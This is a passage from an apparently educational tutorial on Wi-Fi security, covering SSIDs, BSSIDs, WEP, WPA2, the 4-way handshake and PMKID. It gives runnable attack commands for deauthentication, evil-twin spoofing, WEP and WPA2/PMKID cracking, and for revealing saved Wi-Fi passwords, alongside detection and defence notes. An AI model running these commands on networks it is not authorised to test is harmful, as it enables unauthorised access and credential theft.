&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The 2.4 GHz band's long range and wall penetration means your corporate Wi-Fi network may be accessible from the car park, the street, or the neighbouring building. A standard Yagi antenna can extend this range to 1 km. The attacker does not need to be inside your perimeter. Physical security and wireless security are separate but complementary — a fence stops physical intrusion; wireless signals cross that fence freely.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. SSID and BSSID — Wireless Identity
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 SSID — Service Set Identifier
&lt;/h3&gt;

&lt;p&gt;The SSID is the human-readable name of a wireless network — what you see when you scan for Wi-Fi. It can be up to 32 bytes (not strictly characters — can include any bytes including null bytes).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SSID Properties:
  Length: 0-32 bytes
  Characters: any (including non-printable, null bytes, special characters)
  Case-sensitive: "CorpWiFi" ≠ "corpwifi"
  Not unique: multiple APs can broadcast the same SSID (roaming design)
  Not authenticated: any AP can broadcast any SSID

SSID Broadcast — Beacon Frames:
  AP sends beacon frames ~10 times per second
  Beacons contain: SSID, BSSID, channel, supported rates, security info
  Visible to anyone with a wireless adapter in monitor mode

Hidden SSID (SSID cloaking):
  AP sends beacon with empty SSID field
  Network doesn't appear in normal scan results
  Security through obscurity — NOT a security control

Why hidden SSID fails:
  1. SSID appears in Probe Response frames when client connects
  2. SSID appears in client Probe Request frames (client broadcasts SSID it's looking for)
  3. Passive monitoring captures SSID the moment any client connects
  4. Tools: airodump-ng shows hidden SSIDs after capturing first connection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SSID Security Attacks:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Discover hidden SSIDs:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon
&lt;span class="c"&gt;# Hidden SSIDs appear as: &amp;lt;length: X&amp;gt; where X = actual SSID length&lt;/span&gt;
&lt;span class="c"&gt;# Wait for a client to connect → SSID revealed in probe request/response&lt;/span&gt;

&lt;span class="c"&gt;# Force reveal of hidden SSID by sending deauth to clients:&lt;/span&gt;
&lt;span class="c"&gt;# When clients reconnect, they send probe requests with the SSID&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;aireplay-ng &lt;span class="nt"&gt;--deauth&lt;/span&gt; 5 &lt;span class="nt"&gt;-a&lt;/span&gt; BSSID_OF_HIDDEN_AP wlan0mon
&lt;span class="c"&gt;# -deauth 5: send 5 deauthentication frames&lt;/span&gt;
&lt;span class="c"&gt;# -a: target AP's MAC address&lt;/span&gt;

&lt;span class="c"&gt;# Monitor probe requests to see what networks clients are looking for:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon
&lt;span class="c"&gt;# Look at bottom section: "Probes" column shows networks clients have connected to&lt;/span&gt;
&lt;span class="c"&gt;# This is useful for:&lt;/span&gt;
&lt;span class="c"&gt;# 1. Identifying hidden SSIDs&lt;/span&gt;
&lt;span class="c"&gt;# 2. Finding preferred networks for evil twin setup&lt;/span&gt;
&lt;span class="c"&gt;# 3. OSINT on users (what networks they've connected to)&lt;/span&gt;

&lt;span class="c"&gt;# SSID spoofing (setting up AP with same name as target):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hostapd /tmp/hostapd.conf
&lt;span class="c"&gt;# Where hostapd.conf sets ssid=TargetNetworkName&lt;/span&gt;
&lt;span class="c"&gt;# No cryptographic verification of SSID → any AP can claim any name&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 BSSID — Basic Service Set Identifier
&lt;/h3&gt;

&lt;p&gt;The BSSID is the MAC address of the access point's wireless interface. It uniquely identifies a specific physical radio transmitter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BSSID Properties:
  Format: 6-byte MAC address (XX:XX:XX:XX:XX:XX)
  Typically matches AP's wireless NIC MAC address

  OUI (first 3 bytes) identifies manufacturer:
  00:1A:11 → Google (Pixel phones, Google Nest)
  00:50:56 → VMware
  3C:22:FB → Apple

  For APs:
  00:1C:0E → Cisco Linksys
  F8:1A:67 → TP-Link
  B4:FB:E4 → Ubiquiti

Multi-SSID / Virtual APs:
  One physical AP can broadcast multiple SSIDs simultaneously
  Each SSID gets its own BSSID (MAC address incremented by 1)
  Example:
    Physical AP MAC: 00:11:22:33:44:55
    Corporate SSID BSSID:    00:11:22:33:44:55
    Guest SSID BSSID:        00:11:22:33:44:56
    IoT SSID BSSID:          00:11:22:33:44:57
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;BSSID in Attack Context:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Use BSSID to identify AP manufacturer and potentially model:&lt;/span&gt;
&lt;span class="c"&gt;# OUI lookup:&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import urllib.request
bssid = '00:1C:0E:12:34:56'
oui = bssid[:8].replace(':', '-').upper()
try:
    url = f'https://api.macvendors.com/{oui}'
    r = urllib.request.urlopen(url, timeout=3)
    print(f'Vendor: {r.read().decode()}')
except:
    print('OUI lookup failed')
"&lt;/span&gt;

&lt;span class="c"&gt;# Track a specific AP (lock airodump to specific BSSID):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="nt"&gt;--bssid&lt;/span&gt; TARGET_BSSID &lt;span class="nt"&gt;--channel&lt;/span&gt; 6 &lt;span class="nt"&gt;-w&lt;/span&gt; capture wlan0mon
&lt;span class="c"&gt;# Captures only traffic from/to that specific AP&lt;/span&gt;
&lt;span class="c"&gt;# Useful for focused attack or analysis&lt;/span&gt;

&lt;span class="c"&gt;# BSSID spoofing — impersonate legitimate AP:&lt;/span&gt;
&lt;span class="c"&gt;# Tools set wireless adapter MAC to match target BSSID&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;wlan0 down
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;wlan0 address 00:1C:0E:12:34:55   &lt;span class="c"&gt;# Spoof MAC to match AP&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;wlan0 up
&lt;span class="c"&gt;# Now your adapter appears as the legitimate AP when transmitting&lt;/span&gt;
&lt;span class="c"&gt;# Foundation of evil twin attacks&lt;/span&gt;

&lt;span class="c"&gt;# GPS mapping of BSSID (wardriving):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;kismet &lt;span class="nt"&gt;-c&lt;/span&gt; wlan0               &lt;span class="c"&gt;# Kismet with GPS records BSSID + GPS coords&lt;/span&gt;
&lt;span class="c"&gt;# Creates map of all wireless networks&lt;/span&gt;
&lt;span class="c"&gt;# Used for: site survey, finding coverage gaps, geolocation of rogues&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Preferred Network List (PNL) — Client Device Attack Surface:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Every device stores a Preferred Network List:
  Networks the device has previously connected to
  Device automatically connects to known networks

Problem: Device probes for known networks:
  "Is CorpWiFi here?"
  "Is HomeNetwork here?"
  "Is Starbucks here?"

Attacker captures probe requests → knows all networks device has connected to
Attacker creates Evil Twin with any of those names → device may auto-connect

Windows PNL:
&lt;/span&gt;&lt;span class="gp"&gt;  netsh wlan show profiles                    #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;List saved networks
&lt;span class="gp"&gt;  netsh wlan show profile name="Corporate" key=clear  #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Show saved password!
&lt;span class="go"&gt;
Linux (NetworkManager):
&lt;/span&gt;&lt;span class="gp"&gt;  nmcli connection show                       #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;List saved connections
&lt;span class="gp"&gt;  ls /etc/NetworkManager/system-connections/  #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Configuration files with passwords
&lt;span class="go"&gt;
macOS:
  security find-generic-password -D "AirPort network password" -a "NetworkName" -w

Forensic relevance:
  PNL on confiscated device reveals travel history, home networks, work networks
  Can be used to attribute device to specific locations and organisations
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The SSID is not authenticated. Any AP can broadcast any SSID. The BSSID (MAC address) can be spoofed in software. Clients auto-connect to "known" networks based solely on SSID match. This combination — unauthenticated identity, spoofable address, automatic connection — is the foundation of nearly every wireless client-side attack. WPA3's approach of Simultaneous Authentication of Equals partially addresses this by making the handshake resistant to offline attacks even when SSID is spoofed.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. Wireless Security Protocols — WEP to WPA3
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 WEP — Wired Equivalent Privacy (1997)
&lt;/h3&gt;

&lt;p&gt;WEP was the original 802.11 security protocol, intended to provide privacy equivalent to a wired network. It failed catastrophically.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How WEP Works:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WEP Encryption:
  Key: 40-bit or 104-bit pre-shared key (PSK)
  IV:  24-bit Initialization Vector (randomly generated per packet)

  Encryption:
  ┌────────────────────────────────────────────────────────┐
  │  Keystream = RC4(IV + Key)                            │
  │  Ciphertext = Plaintext XOR Keystream                 │
  │  Transmitted: [IV (24 bits)][Ciphertext][ICV (CRC-32)]│
  └────────────────────────────────────────────────────────┘

  IV = 24 bits = 16,777,216 possible values
  On a busy network: IV repeats every ~5 hours (or less)
  When IV repeats: same keystream used for different plaintexts
  Keystream recovery: XOR two ciphertexts with same IV
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why WEP Is Broken:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Vulnerabilities:

1. Short IV (24 bits):
   IV reuse guaranteed on active networks
   IV of 0 to 16M → cycles completely in hours

2. RC4 weak keys ("related key" attack):
   Certain IV values create weak RC4 keystreams
   Statistical analysis of these weak keys reveals the WEP key
   Fluhrer, Mantin, Shamir (FMS) attack (2001)

3. CRC-32 is not cryptographically secure:
   CRC-32 provides error detection, not cryptographic integrity
   Attacker can modify ciphertext and update CRC correctly
   → Bit-flipping attacks possible without knowing the key

4. No mutual authentication:
   Client authenticates to AP, AP does not prove its identity to client

Attack timeline to crack WEP:
  Original FMS attack (2001): required ~4 million packets (~1 day)
  PTW attack (Tews, Weinmann, Pyshkin, 2007): 40,000-85,000 packets (~minutes)
  Aircrack-ng with PTW: WEP 64-bit cracked in ~60 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# WEP cracking (educational — only on networks you own):&lt;/span&gt;

&lt;span class="c"&gt;# Step 1: Enable monitor mode&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng start wlan0
&lt;span class="c"&gt;# Adapter: wlan0 → wlan0mon&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Find target WEP network&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon
&lt;span class="c"&gt;# Note: BSSID, Channel, ESSID of target (ENC column shows WEP)&lt;/span&gt;

&lt;span class="c"&gt;# Step 3: Capture IVs for target network&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="nt"&gt;--bssid&lt;/span&gt; TARGET_BSSID &lt;span class="nt"&gt;--channel&lt;/span&gt; 6 &lt;span class="nt"&gt;-w&lt;/span&gt; wep_capture wlan0mon

&lt;span class="c"&gt;# Step 4: Accelerate IV collection via ARP replay attack&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;aireplay-ng &lt;span class="nt"&gt;--arpreplay&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; TARGET_BSSID &lt;span class="nt"&gt;-h&lt;/span&gt; YOUR_MAC wlan0mon
&lt;span class="c"&gt;# ARP replay: capture one ARP packet, replay it → AP generates new IVs&lt;/span&gt;

&lt;span class="c"&gt;# Step 5: Crack when enough IVs collected (40,000+)&lt;/span&gt;
aircrack-ng wep_capture&lt;span class="k"&gt;*&lt;/span&gt;.cap
&lt;span class="c"&gt;# Typically cracks in &amp;lt;60 seconds with enough IVs&lt;/span&gt;

&lt;span class="c"&gt;# Detection of WEP cracking:&lt;/span&gt;
&lt;span class="c"&gt;# Extremely high data rates from specific client (ARP replay)&lt;/span&gt;
&lt;span class="c"&gt;# IDS alert on ARP replay (repeated identical ARP packets)&lt;/span&gt;
&lt;span class="c"&gt;# Wireless IDS: Kismet, AirDefense detect injection attacks&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 WPA — Wi-Fi Protected Access (2003)
&lt;/h3&gt;

&lt;p&gt;WPA was designed as a rapid fix for WEP's catastrophic failures while being deployable on existing WEP hardware via firmware update.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPA Components:
  Protocol:    TKIP (Temporal Key Integrity Protocol)
  Key mixing:  Per-packet key mixing (prevents related key attacks)
  IV:          48-bit (vs WEP's 24-bit) — much larger keyspace
  Integrity:   Michael MIC (Message Integrity Code) — better than CRC-32
  Authentication: PSK (personal) or 802.1X/RADIUS (enterprise)

TKIP improvements over WEP:
  ✓ Per-packet key derived from base key + packet counter
  ✓ 48-bit IV → IV reuse extremely unlikely
  ✓ Michael MIC → detects packet modification

TKIP weaknesses (why WPA is deprecated):
  ✗ Still based on RC4 (flawed cipher)
  ✗ Michael MIC has known weaknesses (TKIP chop-chop attack)
  ✗ Beck-Tews and Ohigashi-Morii attacks (2009) against TKIP
  ✗ RC4 inherently weaker than AES

WPA should not be used today. WPA2 is the minimum.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. WPA2 — The Dominant Standard and Its Weaknesses
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 WPA2 Architecture
&lt;/h3&gt;

&lt;p&gt;WPA2 (IEEE 802.11i, ratified 2004) replaced the RC4/TKIP of WPA with AES/CCMP — a fundamentally stronger foundation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPA2 Key Hierarchy:
                    ┌──────────────────────────────────┐
                    │         PMK (Pairwise Master Key) │ 256 bits
                    │    Derived from: password + SSID  │
                    │    PSK: PBKDF2-SHA1(password,     │
                    │         SSID, 4096, 256 bits)     │
                    └──────────────────┬───────────────┘
                                       │
                    ┌──────────────────▼───────────────┐
                    │    4-Way Handshake                │
                    │    Inputs: PMK + ANonce + SNonce  │
                    │    ANonce: AP's random number     │
                    │    SNonce: Client's random number │
                    └──────────────────┬───────────────┘
                                       │
                    ┌──────────────────▼───────────────┐
                    │         PTK (Pairwise Transient Key)│
                    │    512 bits total, split into:    │
                    │    KCK (128): key confirmation    │
                    │    KEK (128): key encryption      │
                    │    TK  (128): traffic encryption  │
                    │    MIC (128): message integrity   │
                    └──────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.2 The 4-Way Handshake — WPA2's Critical Exchange
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AP (Authenticator)                         Client (Supplicant)
         │                                          │
         │── Message 1: EAPOL-Key ─────────────→   │
         │   [ANonce] (AP's random nonce)           │
         │   [Replay counter]                       │
         │                                          │
         │                                          │ Client computes PTK from:
         │                                          │ PMK + ANonce + SNonce + MACs
         │                                          │
         │ ←─ Message 2: EAPOL-Key ────────────── │
         │   [SNonce] (Client's random nonce)       │
         │   [MIC] (proves client knows PMK)        │
         │   [RSN IE] (security capabilities)       │
         │                                          │
         │ AP computes PTK, verifies MIC            │
         │                                          │
         │── Message 3: EAPOL-Key ─────────────→   │
         │   [GTK] (Group Temporal Key, encrypted)  │
         │   [MIC] (proves AP knows PMK)            │
         │   [Install flag]                         │
         │                                          │
         │ ←─ Message 4: EAPOL-Key ────────────── │
         │   [MIC] (acknowledges GTK)               │
         │                                          │
         │         [Encrypted session begins]       │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why the 4-Way Handshake Is the Primary Attack Target:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The 4-way handshake contains all the information needed to perform an offline dictionary attack on the PMK (which is derived directly from the password). An attacker who captures the handshake can:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Take it offline&lt;/li&gt;
&lt;li&gt;For each candidate password: compute PMK → PTK → verify MIC&lt;/li&gt;
&lt;li&gt;If MIC matches: password found&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;No interaction with the AP is needed after capture. The attack is rate-limited only by the attacker's hardware (GPU speed).&lt;/p&gt;

&lt;h3&gt;
  
  
  6.3 WPA2-Personal (PSK) Attack — Complete Walkthrough
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Complete WPA2-PSK attack chain:&lt;/span&gt;

&lt;span class="c"&gt;# Step 1: Enable monitor mode&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng check &lt;span class="nb"&gt;kill&lt;/span&gt;           &lt;span class="c"&gt;# Kill interfering processes&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng start wlan0          &lt;span class="c"&gt;# Start monitor mode&lt;/span&gt;
&lt;span class="c"&gt;# Result: wlan0mon&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Survey the environment&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon
&lt;span class="c"&gt;# Look for target: ENC=WPA2, AUTH=PSK&lt;/span&gt;
&lt;span class="c"&gt;# Note: BSSID, channel, client stations (STA section at bottom)&lt;/span&gt;

&lt;span class="c"&gt;# Step 3: Target-specific capture&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--bssid&lt;/span&gt; AA:BB:CC:DD:EE:FF &lt;span class="se"&gt;\ &lt;/span&gt;    &lt;span class="c"&gt;# Target AP MAC address&lt;/span&gt;
    &lt;span class="nt"&gt;--channel&lt;/span&gt; 6 &lt;span class="se"&gt;\ &lt;/span&gt;                   &lt;span class="c"&gt;# AP's channel&lt;/span&gt;
    &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/capture &lt;span class="se"&gt;\ &lt;/span&gt;               &lt;span class="c"&gt;# Output file prefix&lt;/span&gt;
    wlan0mon
&lt;span class="c"&gt;# Captures all traffic from target, saves to /tmp/capture-01.cap&lt;/span&gt;

&lt;span class="c"&gt;# Step 4a: Wait for organic client connection (passive)&lt;/span&gt;
&lt;span class="c"&gt;# OR Step 4b: Force client reconnection via deauthentication (active)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;aireplay-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--deauth&lt;/span&gt; 1 &lt;span class="se"&gt;\ &lt;/span&gt;                    &lt;span class="c"&gt;# Send 1 deauth frame (gentle — more = DoS)&lt;/span&gt;
    &lt;span class="nt"&gt;-a&lt;/span&gt; AA:BB:CC:DD:EE:FF &lt;span class="se"&gt;\ &lt;/span&gt;         &lt;span class="c"&gt;# Target AP BSSID&lt;/span&gt;
    &lt;span class="nt"&gt;-c&lt;/span&gt; 11:22:33:44:55:66 &lt;span class="se"&gt;\ &lt;/span&gt;         &lt;span class="c"&gt;# Specific client (optional — omit for broadcast)&lt;/span&gt;
    wlan0mon
&lt;span class="c"&gt;# Client is disconnected, automatically reconnects → handshake captured&lt;/span&gt;

&lt;span class="c"&gt;# Verify handshake capture (airodump shows WPA handshake top right):&lt;/span&gt;
&lt;span class="c"&gt;# "WPA handshake: AA:BB:CC:DD:EE:FF"&lt;/span&gt;

&lt;span class="c"&gt;# Step 5: Offline password cracking&lt;/span&gt;

&lt;span class="c"&gt;# Option A: Aircrack-ng (CPU-based)&lt;/span&gt;
aircrack-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/rockyou.txt &lt;span class="se"&gt;\ &lt;/span&gt; &lt;span class="c"&gt;# Wordlist&lt;/span&gt;
    &lt;span class="nt"&gt;-b&lt;/span&gt; AA:BB:CC:DD:EE:FF &lt;span class="se"&gt;\ &lt;/span&gt;                 &lt;span class="c"&gt;# Target BSSID&lt;/span&gt;
    /tmp/capture-01.cap
&lt;span class="c"&gt;# Speed: ~2,000-10,000 passwords/second on CPU&lt;/span&gt;

&lt;span class="c"&gt;# Option B: Hashcat (GPU-based — much faster)&lt;/span&gt;
&lt;span class="c"&gt;# First, convert cap to hashcat format:&lt;/span&gt;
hcxpcapngtool &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/hash.hc22000 &lt;span class="se"&gt;\ &lt;/span&gt;                 &lt;span class="c"&gt;# Output in hashcat format 22000&lt;/span&gt;
    /tmp/capture-01.cap                      &lt;span class="c"&gt;# Input capture&lt;/span&gt;

&lt;span class="c"&gt;# Crack with Hashcat:&lt;/span&gt;
hashcat &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-m&lt;/span&gt; 22000 &lt;span class="se"&gt;\ &lt;/span&gt;                              &lt;span class="c"&gt;# WPA2 mode&lt;/span&gt;
    /tmp/hash.hc22000 &lt;span class="se"&gt;\ &lt;/span&gt;                     &lt;span class="c"&gt;# Input hash&lt;/span&gt;
    /usr/share/wordlists/rockyou.txt &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c"&gt;# Wordlist&lt;/span&gt;
    &lt;span class="nt"&gt;-r&lt;/span&gt; /usr/share/hashcat/rules/best64.rule  &lt;span class="c"&gt;# Rules (transform wordlist entries)&lt;/span&gt;
&lt;span class="c"&gt;# Speed: ~1,000,000+ passwords/second on modern GPU (RTX 4090: ~2,000,000 H/s)&lt;/span&gt;

&lt;span class="c"&gt;# Option C: PMKID attack (no client needed — passive attack!)&lt;/span&gt;
&lt;span class="c"&gt;# More on PMKID in next section&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.4 PMKID Attack — The Game Changer (2018)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Discovered by Jens Steube (Hashcat author), August 2018:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Traditional WPA2 cracking required capturing a 4-way handshake, which required a client to connect. The PMKID attack requires NO CLIENT — just the AP.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PMKID — Pairwise Master Key Identifier:
  Computed by AP in Message 1 of the 4-way handshake (and RSN IE)
  Formula: PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AP_MAC || Client_MAC)

  Critically: PMKID contains enough information to verify a PMK guess
  without capturing the full 4-way handshake

  Since PMK = PBKDF2(password, SSID, 4096, 32):
  Attacker can attempt: compute PMK from password guess → compute expected PMKID
  If PMKID matches: password found

  Advantage:
  - No client required (single frame from AP sufficient)
  - Attack can begin immediately upon scanning
  - Cannot be prevented without upgrading to WPA3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# PMKID attack:&lt;/span&gt;

&lt;span class="c"&gt;# Step 1: Capture PMKID (uses hcxdumptool):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hcxdumptool &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-i&lt;/span&gt; wlan0mon &lt;span class="se"&gt;\ &lt;/span&gt;                   &lt;span class="c"&gt;# Monitor mode interface&lt;/span&gt;
    &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/pmkid_capture.pcapng &lt;span class="se"&gt;\ &lt;/span&gt;  &lt;span class="c"&gt;# Output file&lt;/span&gt;
    &lt;span class="nt"&gt;--enable_status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="se"&gt;\ &lt;/span&gt;             &lt;span class="c"&gt;# Show status&lt;/span&gt;
    &lt;span class="nt"&gt;--filterlist_ap&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp/target_bssids.txt  &lt;span class="c"&gt;# Optional: specific APs only&lt;/span&gt;
&lt;span class="c"&gt;# Wait for PMKID — usually captured within 30-60 seconds without any clients&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Extract hash for hashcat:&lt;/span&gt;
hcxpcapngtool &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/pmkid.hc22000 &lt;span class="se"&gt;\&lt;/span&gt;
    /tmp/pmkid_capture.pcapng

&lt;span class="c"&gt;# Step 3: Crack (identical to handshake cracking):&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 22000 /tmp/pmkid.hc22000 wordlist.txt

&lt;span class="c"&gt;# Verify captured PMKIDs:&lt;/span&gt;
hcxpcapngtool &lt;span class="nt"&gt;-E&lt;/span&gt; essidlist &lt;span class="nt"&gt;-I&lt;/span&gt; identitylist &lt;span class="nt"&gt;-U&lt;/span&gt; usernamelist /tmp/pmkid_capture.pcapng
&lt;span class="nb"&gt;cat &lt;/span&gt;essidlist                        &lt;span class="c"&gt;# Networks captured&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.5 WPA2-Enterprise (802.1X/EAP)
&lt;/h3&gt;

&lt;p&gt;WPA2-Enterprise replaces the pre-shared key with per-user credentials verified by a RADIUS server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPA2-Enterprise Authentication Flow:

  Client → AP: Association Request
  AP → Client: EAP Request (identity)
  Client → AP: EAP Response (username)
  AP → RADIUS: Access Request (EAP data forwarded)
  RADIUS: validates credentials
  RADIUS → AP: Access Accept/Reject
  AP → Client: EAP Success/Failure
  AP → Client: 4-way handshake (if success)

EAP Types:
  PEAP (Protected EAP): Tunnelled TLS + MSCHAPv2
    Most common in enterprise
    Password-based inside TLS tunnel
  EAP-TLS: Certificate-based (client AND server certificates)
    Most secure — no password to steal
    Requires certificate infrastructure
  EAP-TTLS: Similar to PEAP, more flexible
  EAP-FAST: Cisco proprietary, no certificates
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;WPA2-Enterprise Attacks — Rogue RADIUS/Evil Twin:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack against PEAP:
  1. Client tries to connect to corporate WiFi
  2. Attacker's evil twin AP with same SSID responds
  3. Client starts PEAP handshake
  4. Attacker's rogue RADIUS presents a certificate
  5. If client doesn't validate certificate: client sends MSCHAPv2 challenge response
  6. Attacker captures MSCHAPv2 challenge-response
  7. Offline crack: MSCHAPv2 is breakable with asleap or hashcat (-m 5500)

Critical defence: 
  Configure supplicant (client) to validate RADIUS server certificate
  Specify exact certificate fingerprint or CA
  Without this: clients connect to any RADIUS claiming the right SSID

Tools:
  hostapd-wpe: Creates rogue RADIUS for credential capture
  eaphammer: Automated WPA2-Enterprise attack framework
  asleap: Cracks captured MSCHAPv2 credentials
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# WPA2-Enterprise attack with eaphammer:&lt;/span&gt;
&lt;span class="c"&gt;# (Educational — requires explicit permission)&lt;/span&gt;
